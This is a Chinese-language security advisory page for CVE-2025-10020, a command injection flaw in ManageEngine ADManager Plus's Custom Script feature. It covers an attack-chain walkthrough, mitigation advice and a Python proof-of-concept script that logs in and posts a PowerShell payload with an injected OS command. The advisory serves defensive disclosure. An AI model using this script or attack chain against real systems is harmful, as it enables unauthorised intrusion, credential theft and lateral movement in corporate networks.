IPBUF安全漏洞报告
English
CVE-2025-10020 CVSS 8.5 高危

CVE-2025-10020:ManageEngine ADManager Plus命令注入漏洞

披露日期: 2025-10-21
来源: 0fc0942c-577d-436f-ae8e-945763c79b02

漏洞信息

漏洞编号
CVE-2025-10020
漏洞类型
命令注入(Command Injection)
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zohocorp ManageEngine ADManager Plus

相关标签

命令注入Command InjectionManageEngineADManager PlusZohoActive Directory认证漏洞远程代码执行高危漏洞CVE-2025-10020

漏洞概述

CVE-2025-10020是Zohocorp ManageEngine ADManager Plus中存在的一个高危认证命令注入漏洞。该漏洞存在于产品的Custom Script(自定义脚本)组件中,允许具有低权限认证的攻击者通过网络远程注入并执行任意操作系统命令。ManageEngine ADManager Plus是Zoho公司推出的一款Active Directory管理和报表工具,广泛应用于企业IT环境中,用于简化AD账户、组、计算机、Exchange邮箱等对象的管理操作。由于该工具通常部署在企业核心IT基础设施中,并具备较高权限运行,因此一旦被攻击者利用,可能导致整个Active Directory域环境遭到严重破坏。该漏洞的CVSS 3.1评分为8.5分,属于高危级别,其攻击向量为网络(AV:N),攻击复杂度较高(AC:H),但仅需低权限认证(PR:L),无需用户交互(UI:N),且对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞的影响范围广泛,因为Custom Script功能是ADManager Plus的常用功能,允许管理员通过脚本自动化执行AD管理任务。攻击者可以利用此漏洞以运行该应用的服务账户权限执行任意命令,进而获取域控制器权限、窃取敏感数据、植入后门或进行横向移动,对企业网络安全构成严重威胁。Zoho公司已在8024及更高版本中修复了该漏洞,建议所有相关用户尽快升级。

技术细节

该漏洞位于ManageEngine ADManager Plus的Custom Script组件中,其根本原因是该组件在处理用户输入的自定义脚本内容时,未对输入进行充分的验证和过滤,导致攻击者可以将恶意的操作系统命令嵌入到脚本字段中。由于Custom Script功能的设计初衷是允许管理员编写并执行脚本以自动化AD管理任务,因此该功能本身具备执行命令的能力,而漏洞的产生在于对脚本内容的过滤机制存在缺陷。攻击者首先需要拥有一个有效的ADManager Plus低权限账户,然后通过构造包含恶意命令注入payload的Custom Script内容,提交至服务端。服务端在解析和执行该脚本时,会将恶意payload作为合法命令执行,从而实现远程命令注入。由于该应用通常以高权限服务账户运行,注入的命令也将以该高权限身份执行,攻击者可借此执行任意系统命令,包括但不限于读取敏感文件、下载并执行恶意程序、修改系统配置、窃取凭据等。攻击复杂度被评定为高(AC:H),可能是因为注入payload需要满足特定的格式要求或绕过部分过滤逻辑。该漏洞的范围标记为S:C(Scope Changed),意味着攻击的影响超出了ADManager Plus应用本身,可能影响到整个底层操作系统和Active Directory环境。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过钓鱼攻击、购买泄露凭据或暴力破解等方式,获取ManageEngine ADManager Plus的低权限用户账户。由于该漏洞仅需低权限认证即可利用,因此攻击门槛较低。
STEP 2
步骤2:登录ADManager Plus
攻击者使用获取的低权限账户登录目标企业的ADManager Plus管理控制台,建立有效的会话。
STEP 3
步骤3:构造恶意Custom Script
攻击者导航至Custom Script组件,在脚本内容字段中嵌入精心构造的命令注入payload,将恶意操作系统命令伪装为合法的AD管理脚本内容。
STEP 4
步骤4:提交并触发执行
攻击者提交包含恶意payload的自定义脚本,服务端在解析和执行该脚本时,未对输入进行充分过滤,导致注入的命令以应用服务账户的高权限被执行。
STEP 5
步骤5:获取系统权限
由于ADManager Plus通常以高权限服务账户运行,攻击者通过命令注入获得的权限可访问底层操作系统和Active Directory域环境。
STEP 6
步骤6:横向移动与持久化
攻击者利用获取的高权限执行横向移动,访问域控制器、窃取敏感数据、植入后门程序或创建恶意管理员账户,实现对整个AD环境的持久控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10020 - ManageEngine ADManager Plus Custom Script Command Injection PoC # This PoC demonstrates the authenticated command injection vulnerability # in the Custom Script component of ADManager Plus (versions < 8024) import requests import sys # Target configuration TARGET_URL = "https://target-admanager:8080" USERNAME = "low_priv_user" PASSWORD = "password123" # Session management session = requests.Session() def login(session, target_url, username, password): """Authenticate to ADManager Plus with low-privilege credentials""" login_url = f"{target_url}/j_security_check" data = { "j_username": username, "j_password": password } resp = session.post(login_url, data=data, verify=False) # Check if login was successful if "ADManager" in resp.text and "Dashboard" in resp.text: print("[+] Login successful") return True print("[-] Login failed") return False def inject_command(session, target_url, command): """ Inject OS command via the Custom Script component. The Custom Script component fails to sanitize input properly, allowing arbitrary command execution on the server. """ # Endpoint for Custom Script functionality custom_script_url = f"{target_url}/customscript.do" # Malicious payload - command injection in script content field # The injected command will be executed with the application's privileges payload = { "scriptName": "legit_script_name", "scriptContent": f""" # Legitimate-looking AD management script Get-ADUser -Filter * # Injected command - executes arbitrary OS command ; {command} ; # Continue with more legitimate content Get-ADGroup -Filter * """, "scriptType": "powershell", "description": "Custom AD management script" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{target_url}/customscript.do" } resp = session.post(custom_script_url, data=payload, headers=headers, verify=False) print(f"[+] Command injection payload submitted") print(f"[+] Response status: {resp.status_code}") return resp def main(): print("[*] CVE-2025-10020 - ManageEngine ADManager Plus Command Injection PoC") print("[*] Vulnerability: Authenticated Command Injection in Custom Script") print("[*] Affected: ADManager Plus versions before 8024\n") # Step 1: Authenticate with low-privilege credentials if not login(session, TARGET_URL, USERNAME, PASSWORD): sys.exit(1) # Step 2: Inject command to demonstrate RCE # Example: Create a reverse shell or exfiltrate data malicious_command = "whoami > C:\\Windows\\Temp\\pwned.txt" inject_command(session, TARGET_URL, malicious_command) print("[+] Exploit completed. Check the target system for execution confirmation.") if __name__ == "__main__": main()

影响范围

ManageEngine ADManager Plus < 8024

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:首先,严格限制ADManager Plus管理控制台的访问,仅允许可信管理员从受控网络环境访问;其次,禁用或限制Custom Script组件的使用权限,仅向必要的可信管理员授予该功能的使用权;第三,部署网络入侵检测系统(IDS)或Web应用防火墙(WAF),对提交至Custom Script组件的请求进行深度检测,识别和阻断包含命令注入特征的payload;第四,加强账户安全管理,强制启用多因素认证,定期审查和轮换用户密码;第五,监控ADManager Plus服务账户的活动日志,及时发现异常命令执行行为;最后,准备升级计划,尽快将系统升级至8024或更高版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表